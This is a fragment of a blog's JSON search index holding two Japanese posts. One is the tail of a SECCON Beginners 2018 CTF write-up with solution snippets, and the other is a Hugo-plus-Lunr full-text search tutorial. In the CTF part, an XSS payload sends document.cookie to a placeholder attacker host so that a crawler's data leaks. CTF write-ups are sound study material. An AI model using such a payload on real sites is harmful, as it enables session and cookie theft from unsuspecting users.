class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eres\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esoup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;html.parser\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esoup\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;div\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003e_\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eurlencode\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;answer\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nb\"\u003eeval\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e)})\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eopener\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eres\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esoup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;html.parser\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eexp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esoup\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;div\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"do-alert\"\u003edo alert\u003c/h2\u003e\n\u003cp\u003e用意されたformに\u003ccode\u003e\u0026lt;script\u0026gt;alert(0)\u0026lt;/script\u0026gt;\u003c/code\u003eを仕込んでリロード\u003c/p\u003e\n\u003ch2 id=\"asカンパニー\"\u003eASカンパニー\u003c/h2\u003e\n\u003cp\u003eformから任意のtitleとtextを投稿するページがあり、投稿結果をクローラが巡回している。クローラのUAにFLAGが書かれている。\u003c/p\u003e\n\u003cp\u003eformにはscriptを仕込むことができるため、\u003ccode\u003e\u0026lt;script\u0026gt;document.location=\u0026quot;http://\u0026lt;attacker\u0026gt;?\u0026quot;+encodeURIComponent(document.cookie)\u0026lt;/script\u0026gt;\u003c/code\u003eをtitleまたはtextに仕込んでクローラのアクセス結果を確認する。\u003c/p\u003e\n\u003ch2 id=\"go-fast\"\u003eGo Fast\u003c/h2\u003e\n\u003cp\u003e計算するだけ\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"mi\"\u003e4085\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"mi\"\u003e97\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"factoring\"\u003eFactoring\u003c/h2\u003e\n\u003cp\u003e素因数分解するだけ\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ factor \u003cspan class=\"m\"\u003e2240118421\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e2240118421: \u003cspan class=\"m\"\u003e43223\u003c/span\u003e \u003cspan class=\"m\"\u003e51827\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"find-it\"\u003eFind it.\u003c/h2\u003e\n\u003cp\u003eELF file \u003ccode\u003ebin1\u003c/code\u003eが与えられる。xxdでフラグを得る。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003exxd bin1 \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep -A1 ctf\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0001060: \u003cspan class=\"m\"\u003e6374\u003c/span\u003e \u003cspan class=\"m\"\u003e6634\u003c/span\u003e 627b 666c \u003cspan class=\"m\"\u003e3467\u003c/span\u003e 5f6e \u003cspan class=\"m\"\u003e3037\u003c/span\u003e 5f31  ctf4b\u003cspan class=\"o\"\u003e{\u003c/span\u003edummy____\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0001070: 6e5f \u003cspan class=\"m\"\u003e6330\u003c/span\u003e \u003cspan class=\"m\"\u003e6433\u003c/span\u003e 5f35 \u003cspan class=\"m\"\u003e3367\u003c/span\u003e 6d33 6e37 7d00  _________flag\u003cspan class=\"o\"\u003e}\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"read-it\"\u003eRead it.\u003c/h2\u003e\n\u003cp\u003egenflag sectionにFLAGが直書きされている。\u003c/p\u003e","title":"SECCON Beginners 2018 Nagoya CTF Writeups"},{"content":"Hugoとは Hugoとは静的ページを生成するGo製のフレームワークである。\nLunrとは LunrとはJavaScript製のテキスト検索エンジンである。日本語検索に対応している。1\n検索機能設置方法 以降の内容は https://gist.github.com/sebz/efddfc8fdcb6b480f567 及び https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae を参考にしている。\nファイル構成 導入後のファイル構成は以下の通り。検索機能に関わる部分のみ記載している。\nBLOG_DIR ├── layouts │ ├── _default │ │ └── index.json │ └── index.html └── static └── js ├── lunr.jp.js ├── lunr.js ├── lunr.multi.js ├── lunr.stemmer.support.js ├── search.js └── tinyseg.js 1. 検索用データ設置 Lunrが検索対象として読み込むデータを設置する。ここでは全記事のタイトル, タグ, カテゴリ, 本文, hrefをJSON形式で書き出す。\nlayouts/_default/index.json {{- $.Scratch.Add \u0026#34;index\u0026#34; slice -}} {{- range .Site.RegularPages -}} {{- $.Scratch.Add \u0026#34;index\u0026#34; (dict \u0026#34;title\u0026#34; (or .Title (.Date.Format \u0026#34;2006/01/02\u0026#34;)) \u0026#34;tags\u0026#34; .Params.tags \u0026#34;categories\u0026#34; .Params.categories \u0026#34;contents\u0026#34; .Plain \u0026#34;href\u0026#34; .URL ) -}} {{- end -}} {{- $.Scratch.Get \u0026#34;index\u0026#34; | jsonify -}} 3行目の\u0026quot;title\u0026quot; (or .Title (.Date.Format \u0026quot;2006/01/02\u0026quot;))は弊サイト独自の仕様であり、通常は\u0026quot;title\u0026quot; .Titleでよい。\nhugo server -Dwでサーバを立ち上げ http://localhost:1313/index.json に目的のファイルが設置されていることを確認する。\n2. Lunrのソースコード設置 static/js/以下にLunrに関わるファイル5つを設置する。\nlunr.jsはolivernn/lunr.jsに、lunr.jp.js, lunr.multi.js, lunr.stemmer.support.js, tinyseg.jsはMihaiValentin/lunr-languagesにある。\n手動設置以外の方法としてnpm install lunr及びnpm install lunr-languagesがある。また、lunr.jsはCDNのデータも利用可能。2\nこの記事では手動設置を前提とする。\n3. 検索用スクリプト設置 2で設置したスクリプトを利用するためstatic/js/search.jsを設置する。\nstatic/js/search.js var lunrIndex, $results, pagesIndex; function initLunr() { $.getJSON(\u0026#34;index.json\u0026#34;).done(function(index) { pagesIndex = index; lunrIndex = lunr(function() { var lunrConfig = this; lunrConfig.use(lunr.multiLanguage(\u0026#39;en\u0026#39;, \u0026#39;jp\u0026#39;)); lunrConfig.ref(\u0026#34;href\u0026#34;); lunrConfig.field(\u0026#34;title\u0026#34;, { boost: 10 }); lunrConfig.field(\u0026#34;contents\u0026#34;); pagesIndex.forEach(function(page) { lunrConfig.add(page); }); }); }) .fail(function(jqxhr, textStatus, error) { var err = textStatus + \u0026#34;, \u0026#34; + error; console.error(\u0026#34;Error getting Hugo index flie:\u0026#34;, err); }); } function search(){ $results = $(\u0026#34;#results\u0026#34;); $results.empty(); var query = document.getElementById(\u0026#39;search-query\u0026#39;).value; if (query.length \u0026lt; 2) { return; } renderResults(results(query)); } function results(query) { return lunrIndex.search(`*${query}*`).map(function(result) { return pagesIndex.filter(function(page) { return page.href === result.ref; })[0]; }); } function renderResults(results) { if (!results.length) { $results.append(\u0026#39;\u0026lt;p\u0026gt;No matches found\u0026lt;/p\u0026gt;\u0026#39;); return; } results.forEach(function(result) { var $result = $(\u0026#34;\u0026lt;li\u0026gt;\u0026#34;); $result.append($(\u0026#34;\u0026lt;a\u0026gt;\u0026#34;, { href: result.href, text: result.title })); if (result.contents.length \u0026lt;= 100) { $result.append($(\u0026#34;\u0026lt;p\u0026gt;\u0026#34;, { text: result.contents })); } else { $result.append($(\u0026#34;\u0026lt;p\u0026gt;\u0026#34;, { text: result.contents.slice(0, 100) + \u0026#34; ...\u0026#34; })); } $results.append($result); }); } initLunr(); initLunr()で検索対象の言語, index, 検索文字列を読み込んでいる。言語はjpだけでは数列や英字文字列にマッチしないためenも指定する。\nsearch()で検索クエリを読み込む。クエリの長さが2以上であれば検索を開始する。\nresults(query)で検索クエリを元にLunrを用いて検索し、マッチした記事の情報を返している。Lunrは検索結果としてindexのみを返すため、この結果を元に1の検索用データから記事内容を取得している。\nrenderResults(results)でresults(query)の結果を元に後述する検索用ページに検索結果を追記している。\n4. 検索用ページ生成 この記事ではindex.htmlに設置しているが、どこでもよい。\nlayouts/index.html \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-3.3.1.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.stemmer.support.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/tinyseg.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.jp.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.multi.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;{{ \u0026#34;js/search.js\u0026#34; | absURL }}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;form class=\u0026#34;full-text-search-form\u0026#34; action=\u0026#34;{{ .URL }}\u0026#34; onkeyup=\u0026#34;search()\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;search-query\u0026#34; placeholder=\u0026#34;Full Text Search\u0026#34; name=\u0026#34;query\u0026#34; autocomplete=\u0026#34;off\u0026#34; search autofocus/\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;ul id=\u0026#34;results\u0026#34;\u0026gt; 最初の7行でjQueryと、2と3で設置したjsを読み込んでいる。jQueryはsearch.jsで使用している。\nformは検索ワード入力用テキストボックスであり、キー入力の度にsearch.jsのsearch()が実行される。\nulは検索結果を表示する箇所であり、search.jsにより検索結果に応じて操作される。\n最後に検索用ページ http://localhost:1313/index.html で検索機能が動いていることを確認する。\nhttps://lunrjs.com/guides/language_support.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://lunrjs.com/guides/getting_started.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/full-text-japanese-search-with-hugo-plus-lunr/","summary":"\u003ch2 id=\"hugoとは\"\u003eHugoとは\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://gohugo.io/\"\u003eHugo\u003c/a\u003eとは静的ページを生成するGo製のフレームワークである。\u003c/p\u003e\n\u003ch2 id=\"lunrとは\"\u003eLunrとは\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://lunrjs.com/\"\u003eLunr\u003c/a\u003eとはJavaScript製のテキスト検索エンジンである。日本語検索に対応している。\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"検索機能設置方法\"\u003e検索機能設置方法\u003c/h2\u003e\n\u003cp\u003e以降の内容は \u003ca href=\"https://gist.github.com/sebz/efddfc8fdcb6b480f567\"\u003ehttps://gist.github.com/sebz/efddfc8fdcb6b480f567\u003c/a\u003e 及び \u003ca href=\"https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae\"\u003ehttps://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae\u003c/a\u003e を参考にしている。\u003c/p\u003e\n\u003ch3 id=\"ファイル構成\"\u003eファイル構成\u003c/h3\u003e\n\u003cp\u003e導入後のファイル構成は以下の通り。検索機能に関わる部分のみ記載している。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eBLOG_DIR\n├── layouts\n│   ├── _default\n│   │   └── index.json\n│   └── index.html\n└── static\n    └── js\n        ├── lunr.jp.js\n        ├── lunr.js\n        ├── lunr.multi.js\n        ├── lunr.stemmer.support.js\n        ├── search.js\n        └── tinyseg.js\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"1-検索用データ設置\"\u003e1. 検索用データ設置\u003c/h3\u003e\n\u003cp\u003eLunrが検索対象として読み込むデータを設置する。ここでは全記事のタイトル, タグ, カテゴリ, 本文, hrefをJSON形式で書き出す。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003elayouts/_default/index.json\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{- $.Scratch.Add \u0026#34;index\u0026#34; slice -}}\n{{- range .Site.RegularPages -}}\n    {{- $.Scratch.Add \u0026#34;index\u0026#34; (dict \u0026#34;title\u0026#34; (or .Title (.Date.Format \u0026#34;2006/01/02\u0026#34;)) \u0026#34;tags\u0026#34; .Params.tags \u0026#34;categories\u0026#34; .Params.categories \u0026#34;contents\u0026#34; .Plain \u0026#34;href\u0026#34; .URL ) -}}\n{{- end -}}\n{{- $.Scratch.Get \u0026#34;index\u0026#34; | jsonify -}}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e3行目の\u003ccode\u003e\u0026quot;title\u0026quot; (or .Title (.Date.Format \u0026quot;2006/01/02\u0026quot;))\u003c/code\u003eは弊サイト独自の仕様であり、通常は\u003ccode\u003e\u0026quot;title\u0026quot; .Title\u003c/code\u003eでよい。\u003c/p\u003e","title":"Hugo + Lunrによる日本語全文検索"}]